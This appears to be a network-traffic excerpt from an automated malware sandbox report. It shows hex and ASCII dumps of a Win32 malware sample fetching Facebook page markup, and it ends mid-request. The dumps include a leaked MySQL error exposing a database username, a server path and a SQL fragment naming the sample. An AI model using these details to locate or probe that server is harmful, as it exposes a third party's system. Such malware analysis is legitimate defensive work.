2022-09-09 16:01:51 UTC	529	IN	Data Raw: 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 20 6f 66 20 43 61 6e 61 64 61 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 43 61 6e 61 64 61 20 6f 72 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 77 77 77 2e 79 6f 75 72 6f 6e 6c 69 6e 65 63 68 6f 69 63 65 73 2e 63 6f 6d 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 30 59 41 35 47 59 46 79 52 79 42 Data Ascii: rget=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Digital Advertising Alliance of Canada\u003C\/a> in Canada or the \u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fwww.youronlinechoices.com\u00252F&h=AT0YA5GYFyRyB
2022-09-09 16:01:51 UTC	530	IN	Data Raw: 46 5c 75 30 30 32 35 32 46 79 6f 75 72 61 64 63 68 6f 69 63 65 73 2e 63 61 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 33 32 5f 4e 69 34 73 4c 79 4a 44 72 47 42 56 59 61 6e 75 59 53 43 35 65 74 59 73 36 33 5a 39 39 49 42 41 34 42 55 79 2d 51 48 35 65 57 76 43 7a 43 34 46 66 42 72 62 63 37 4f 2d 5f 52 37 75 30 75 76 42 79 5a 66 71 70 75 74 61 71 32 52 57 54 6e 36 33 4c 33 73 76 72 69 4a 50 74 4a 37 59 72 39 57 33 73 47 46 45 45 77 4c 35 4a 49 63 47 68 42 45 53 64 49 50 36 4b 76 59 38 47 59 67 52 48 30 6f 62 42 6f 58 74 71 4d 42 75 47 5a 36 78 5f 30 50 67 77 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 Data Ascii: F\u00252Fyouradchoices.ca\u00252F&h=AT32_Ni4sLyJDrGBVYanuYSC5etYs63Z99IBA4BUy-QH5eWvCzC4FfBrbc7O-_R7u0uvByZfqputaq2RWTn63L3svriJPtJ7Yr9W3sGFEEwL5JIcGhBESdIP6KvY8GYgRH0obBoXtqMBuGZ6x_0Pgw\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Di
2022-09-09 16:01:51 UTC	532	IN	Data Raw: 65 72 20 32 30 32 30 2c 20 79 6f 75 20 6d 61 79 20 66 69 6e 64 20 61 64 64 69 74 69 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 65 20 63 6f 6e 74 72 6f 6c 73 20 6f 66 66 65 72 65 64 20 62 79 20 70 6f 70 75 6c 61 72 20 62 72 6f 77 73 65 72 73 20 61 74 20 74 68 65 20 6c 69 6e 6b 73 20 62 65 6c 6f 77 2e 20 43 65 72 74 61 69 6e 20 70 61 72 74 73 20 6f 66 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 63 74 73 20 6d 61 79 20 6e 6f 74 20 77 6f 72 6b 20 70 72 6f 70 65 72 6c 79 20 69 66 20 79 6f 75 20 68 61 76 65 20 64 69 73 61 62 6c 65 64 20 62 72 6f 77 73 65 72 20 63 6f 6f 6b 69 65 73 2e 20 50 6c 65 61 73 65 20 62 65 20 61 77 61 72 65 20 74 68 61 74 20 74 68 65 73 65 20 63 6f 6e 74 72 6f 6c 73 20 61 72 65 20 64 69 73 74 69 6e 63 74 Data Ascii: er 2020, you may find additional information about the controls offered by popular browsers at the links below. Certain parts of Facebook Products may not work properly if you have disabled browser cookies. Please be aware that these controls are distinct
2022-09-09 16:01:51 UTC	533	IN	Data Raw: 6a 6a 6c 5a 76 73 41 2d 4b 53 44 6f 6a 41 66 63 52 47 6f 34 43 48 63 6a 58 78 42 4e 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 46 69 72 65 66 6f 78 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 61 70 70 6c 65 2e 63 6f 6d 5c 75 30 30 32 35 32 46 65 6e 2d 69 65 5c 75 30 30 32 35 32 46 67 75 69 64 65 5c 75 30 30 32 Data Ascii: jjlZvsA-KSDojAfcRGo4CHcjXxBNQ\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Firefox\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.apple.com\u00252Fen-ie\u00252Fguide\u002
2022-09-09 16:01:51 UTC	535	IN	Data Raw: 63 6c 61 73 73 3d 5c 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 39 78 6f 36 20 5f 34 6a 79 33 20 5f 34 6a 79 31 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 5c 22 20 64 61 74 61 2d 63 6f 6f 6b 69 65 62 61 6e 6e 65 72 3d 5c 22 61 63 63 65 70 74 5f 6f 6e 6c 79 5f 65 73 73 65 6e 74 69 61 6c 5f 62 75 74 74 6f 6e 5c 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 5c 22 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 2d 6d 61 6e 61 67 65 2d 64 69 61 6c 6f 67 2d 61 63 63 65 70 74 2d 62 75 74 74 6f 6e 5c 22 20 74 69 74 6c 65 3d 5c 22 4f 6e 6c 79 20 61 6c 6c 6f 77 20 65 73 73 65 6e 74 69 61 6c 20 63 6f 6f 6b 69 65 73 5c 22 20 74 79 70 65 3d 5c 22 73 75 62 6d 69 74 5c 22 20 69 64 3d 5c 22 75 5f 30 5f 63 5f 49 30 5c 22 3e 4f 6e 6c 79 20 61 6c 6c 6f 77 20 65 73 73 65 6e 74 69 61 6c Data Ascii: class=\"_42ft _4jy0 _9xo6 _4jy3 _4jy1 selected _51sy\" data-cookiebanner=\"accept_only_essential_button\" data-testid=\"cookie-policy-manage-dialog-accept-button\" title=\"Only allow essential cookies\" type=\"submit\" id=\"u_0_c_I0\">Only allow essential
2022-09-09 16:01:51 UTC	536	IN	Data Raw: 61 6c 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 66 5f 65 39 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 52 6f 6d 5c 75 30 30 65 32 6e 5c 75 30 31 30 33 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 67 5f 4e 44 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 53 75 6f 6d 69 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 68 5f 39 6a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 53 76 65 6e 73 6b 61 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 69 5f 56 77 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 54 69 5c 75 31 65 62 66 6e 67 20 56 69 5c 75 31 65 63 37 74 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 Data Ascii: al)"},1],["__markup_3310c079_0_f_e9",{"__html":"Rom\u00e2n\u0103"},1],["__markup_3310c079_0_g_ND",{"__html":"Suomi"},1],["__markup_3310c079_0_h_9j",{"__html":"Svenska"},1],["__markup_3310c079_0_i_Vw",{"__html":"Ti\u1ebfng Vi\u1ec7t"},1],["__markup_3310c07
2022-09-09 16:01:51 UTC	538	IN	Data Raw: 22 2c 22 75 5f 30 5f 34 5f 35 50 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 31 5f 78 74 22 2c 22 75 5f 30 5f 35 5f 72 4f 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 43 54 22 2c 22 70 61 67 65 6c 65 74 5f 62 6c 75 65 62 61 72 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 65 39 34 64 64 38 5f 30 5f 30 5f 45 6c 22 2c 22 70 61 67 65 6c 65 74 5f 62 6c 75 65 62 61 72 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 6e 76 22 2c 22 67 6c 6f 62 61 6c 43 6f 6e 74 61 69 6e 65 72 22 2c 32 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 32 5f 4c 58 22 2c 22 63 6f 6e 74 65 6e 74 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 31 64 65 31 34 36 64 63 5f 30 Data Ascii: ","u_0_4_5P",1],["__elem_a588f507_0_1_xt","u_0_5_rO",1],["__elem_9f5fac15_0_0_CT","pagelet_bluebar",1],["__elem_45e94dd8_0_0_El","pagelet_bluebar",1],["__elem_a588f507_0_0_nv","globalContainer",2],["__elem_a588f507_0_2_LX","content",1],["__elem_1de146dc_0
2022-09-09 16:01:51 UTC	539	IN	Data Raw: 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 27 64 62 6e 65 77 30 31 27 5c 75 30 30 34 30 27 6c 6f 63 61 6c 68 6f 73 74 27 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 Data Ascii: 520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u0025
2022-09-09 16:01:51 UTC	541	IN	Data Raw: 2c 22 46 61 63 65 62 6f 6f 6b 22 5d 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 59 36 22 5d 2c 5b 22 57 65 62 43 6f 6f 6b 69 65 55 73 65 53 69 6e 67 6c 65 4c 65 76 65 6c 4d 61 6e 61 67 65 44 69 61 6c 6f 67 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 59 36 22 2c 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 30 5f 42 7a 22 2c 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 31 5f 71 4b 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 59 36 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 30 5f 42 7a 22 7d 2c 22 46 61 63 65 62 6f 6f 6b 22 2c 66 61 6c Data Ascii: ,"Facebook"]],["__inst_ead1e565_0_0_Y6"],["WebCookieUseSingleLevelManageDialogController","init",["__inst_ead1e565_0_0_Y6","__elem_45d73b5d_0_0_Bz","__elem_45d73b5d_0_1_qK"],[{"__m":"__inst_ead1e565_0_0_Y6"},{"__m":"__elem_45d73b5d_0_0_Bz"},"Facebook",fal
2022-09-09 16:01:51 UTC	542	IN	Data Raw: 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 34 5f 42 43 22 7d 2c 22 5f 39 6e 67 62 22 2c 22 2e 5f 39 6e 67 61 22 2c 22 2e 5f 39 6e 67 64 22 2c 22 2e 5f 39 6e 67 67 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 41 63 63 6f 72 64 69 6f 6e 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 35 5f 79 67 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 35 5f 79 67 22 7d 2c 22 5f 39 6e 67 62 22 2c 22 2e 5f 39 6e 67 61 22 2c 22 2e 5f 39 6e 67 64 22 2c 22 2e 5f 39 6e 67 67 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 41 63 63 6f 72 64 69 6f 6e 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 36 5f 6c 43 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 Data Ascii: elem_a588f507_0_4_BC"},"_9ngb","._9nga","._9ngd","._9ngg"]],["CookieAccordion","init",["__elem_a588f507_0_5_yg"],[{"__m":"__elem_a588f507_0_5_yg"},"_9ngb","._9nga","._9ngd","._9ngg"]],["CookieAccordion","init",["__elem_a588f507_0_6_lC"],[{"__m":"__elem_a5
2022-09-09 16:01:51 UTC	544	IN	Data Raw: 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 76 2f 6c 2f 30 2c 63 72 6f 73 73 2f 54 42 78 77 62 75 56 73 62 6e 78 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 53 2f 6c 2f 30 2c 63 72 6f 73 73 2f 5f 6a 67 65 5f 32 78 57 49 45 4c 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 Data Ascii: ="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yv/l/0,cross/TBxwbuVsbnx.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yS/l/0,cross/_jge_2xWIEL.css?_nc_x=Ij3Wp8lg5Kz" a
2022-09-09 16:01:51 UTC	545	IN	Data Raw: 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 58 2f 6c 2f 30 2c 63 72 6f 73 73 2f 6c 72 51 5f 6b 7a 62 73 45 37 42 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 56 2f 6c 2f 30 2c 63 72 6f 73 73 2f 66 71 75 46 79 76 49 44 34 65 4f 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 73 63 72 69 Data Ascii: rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yX/l/0,cross/lrQ_kzbsE7B.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yV/l/0,cross/fquFyvID4eO.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><scri
2022-09-09 16:01:51 UTC	546	IN	Data Raw: 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 73 65 74 50 61 67 65 49 44 28 22 37 31 34 31 34 31 30 39 36 33 32 38 38 35 31 36 38 38 32 22 29 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 31 31 38 66 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 6b 71 48 63 38 35 46 31 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 6c 61 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 6b 71 48 63 Data Ascii: ction(bigPipe){bigPipe.setPageID("7141410963288516882")});</script>118f<script nonce="kqHc85F1">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("last_response",n);})})();</script><script nonce="kqHc
2022-09-09 16:01:51 UTC	548	IN	Data Raw: 39 5f 61 5f 70 78 66 4d 44 66 39 69 57 63 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 36 39 39 33 30 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 30 6b 45 30 41 4b 73 6a 4a 47 67 62 79 6e 43 71 67 2d 45 4c 6f 65 64 5f 6c 31 6a 75 77 59 5f 32 58 6c 30 57 72 6f 37 4e 2d 47 46 58 39 55 75 52 50 4d 74 53 5a 4c 4a 51 66 68 37 74 5f 44 75 6e 4a 56 68 4f 53 4e 67 6e 42 33 45 38 68 59 33 61 44 39 35 38 73 30 6e 79 59 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 38 33 31 31 36 22 2c 5b 22 58 41 73 79 6e 63 52 65 71 75 65 73 74 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 58 41 73 79 6e 63 52 65 71 75 65 73 74 22 2c 22 41 61 30 6b 45 30 41 4b 73 6a 4a 47 67 62 79 6e 43 71 67 2d 45 4c 6f 65 64 5f 6c 31 6a 75 77 59 5f 32 58 6c 30 57 72 6f 37 4e 2d 47 46 58 39 55 Data Ascii: 9_a_pxfMDf9iWc"]},-1],["cr:1069930",[],{__rc:[null,"Aa0kE0AKsjJGgbynCqg-ELoed_l1juwY_2Xl0Wro7N-GFX9UuRPMtSZLJQfh7t_DunJVhOSNgnB3E8hY3aD958s0nyY"]},-1],["cr:1083116",["XAsyncRequest"],{__rc:["XAsyncRequest","Aa0kE0AKsjJGgbynCqg-ELoed_l1juwY_2Xl0Wro7N-GFX9U
2022-09-09 16:01:51 UTC	549	IN	Data Raw: 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 33 75 6c 48 62 75 46 49 6f 63 4a 41 4f 5f 6f 73 63 5f 43 5a 73 32 51 38 62 77 4b 6d 41 4c 6a 39 71 6a 44 33 48 73 79 4e 54 52 65 31 4e 75 50 30 4d 38 75 46 52 44 74 5a 6e 67 41 72 72 69 4c 49 39 6f 4b 6a 79 32 37 77 38 71 69 62 4a 66 4d 41 22 5d 7d 2c 2d 31 5d 2c 5b 22 42 61 6e 7a 61 69 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 4d 41 58 5f 53 49 5a 45 3a 31 30 30 30 30 2c 4d 41 58 5f 57 41 49 54 3a 31 35 30 30 30 30 2c 4d 49 4e 5f 57 41 49 54 3a 6e 75 6c 6c 2c 52 45 53 54 4f 52 45 5f 57 41 49 54 3a 31 35 30 30 30 30 2c 62 6c 61 63 6b 6c 69 73 74 3a 5b 22 74 69 6d 65 5f 73 70 65 6e 74 22 5d 2c 64 69 73 61 62 6c 65 64 3a 66 61 6c 73 65 2c 67 6b 73 3a 7b 62 6f 6f 73 74 65 64 5f 70 61 67 65 6c 69 6b 65 73 3a 74 72 75 65 2c 6d Data Ascii: _rc:[null,"Aa3ulHbuFIocJAO_osc_CZs2Q8bwKmALj9qjD3HsyNTRe1NuP0M8uFRDtZngArriLI9oKjy27w8qibJfMA"]},-1],["BanzaiConfig",[],{MAX_SIZE:10000,MAX_WAIT:150000,MIN_WAIT:null,RESTORE_WAIT:150000,blacklist:["time_spent"],disabled:false,gks:{boosted_pagelikes:true,m
2022-09-09 16:01:51 UTC	551	IN	Data Raw: 22 52 65 61 63 74 44 4f 4d 2e 63 6c 61 73 73 69 63 2e 70 72 6f 64 22 2c 22 41 61 30 62 31 70 36 33 46 33 33 64 69 68 53 50 6e 41 70 47 41 4d 61 34 6e 34 34 42 46 33 4e 36 69 57 49 6c 41 35 36 4a 70 69 4a 6d 36 0d 0a 31 31 35 64 0d 0a 38 53 6d 59 55 44 2d 62 4f 63 47 6a 5a 68 6f 76 47 66 6f 6e 58 70 65 70 4e 7a 31 4a 34 64 76 59 72 69 31 58 7a 2d 66 49 4a 56 51 51 45 69 73 44 42 47 42 49 51 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 38 33 38 34 34 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 33 75 6c 48 62 75 46 49 6f 63 4a 41 4f 5f 6f 73 63 5f 43 5a 73 32 51 38 62 77 4b 6d 41 4c 6a 39 71 6a 44 33 48 73 79 4e 54 52 65 31 4e 75 50 30 4d 38 75 46 52 44 74 5a 6e 67 41 72 72 69 4c 49 39 6f 4b 6a 79 32 37 77 38 71 69 62 4a 66 4d 41 22 5d 7d 2c 2d Data Ascii: "ReactDOM.classic.prod","Aa0b1p63F33dihSPnApGAMa4n44BF3N6iWIlA56JpiJm6115d8SmYUD-bOcGjZhovGfonXpepNz1J4dvYri1Xz-fIJVQQEisDBGBIQ"]},-1],["cr:983844",[],{__rc:[null,"Aa3ulHbuFIocJAO_osc_CZs2Q8bwKmALj9qjD3HsyNTRe1NuP0M8uFRDtZngArriLI9oKjy27w8qibJfMA"]},-
2022-09-09 16:01:51 UTC	552	IN	Data Raw: 41 4b 73 6a 4a 47 67 62 79 6e 43 71 67 2d 45 4c 6f 65 64 5f 6c 31 6a 75 77 59 5f 32 58 6c 30 57 72 6f 37 4e 2d 47 46 58 39 55 75 52 50 4d 74 53 5a 4c 4a 51 66 68 37 74 5f 44 75 6e 4a 56 68 4f 53 4e 67 6e 42 33 45 38 68 59 33 61 44 39 35 38 73 30 6e 79 59 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 38 37 31 35 39 22 2c 5b 22 42 6c 75 65 43 6f 6d 70 61 74 42 72 6f 6b 65 72 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 42 6c 75 65 43 6f 6d 70 61 74 42 72 6f 6b 65 72 22 2c 22 41 61 30 6b 45 30 41 4b 73 6a 4a 47 67 62 79 6e 43 71 67 2d 45 4c 6f 65 64 5f 6c 31 6a 75 77 59 5f 32 58 6c 30 57 72 6f 37 4e 2d 47 46 58 39 55 75 52 50 4d 74 53 5a 4c 4a 51 66 68 37 74 5f 44 75 6e 4a 56 68 4f 53 4e 67 6e 42 33 45 38 68 59 33 61 44 39 35 38 73 30 6e 79 59 22 5d 7d 2c 2d 31 5d 2c 5b Data Ascii: AKsjJGgbynCqg-ELoed_l1juwY_2Xl0Wro7N-GFX9UuRPMtSZLJQfh7t_DunJVhOSNgnB3E8hY3aD958s0nyY"]},-1],["cr:1187159",["BlueCompatBroker"],{__rc:["BlueCompatBroker","Aa0kE0AKsjJGgbynCqg-ELoed_l1juwY_2Xl0Wro7N-GFX9UuRPMtSZLJQfh7t_DunJVhOSNgnB3E8hY3aD958s0nyY"]},-1],[
2022-09-09 16:01:51 UTC	554	IN	Data Raw: 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 2c 73 65 72 76 65 72 4c 49 44 3a 22 37 31 34 31 34 31 30 39 36 33 32 38 38 35 31 36 38 38 32 22 7d 5d 5d 2c 5b 22 46 61 6c 63 6f 4c Data Ascii: riteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E",serverLID:"7141410963288516882"}]],["FalcoL
2022-09-09 16:01:51 UTC	555	IN	Data Raw: 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: </script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49780	157.240.20.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
2022-09-09 16:02:01 UTC	555	OUT	GET 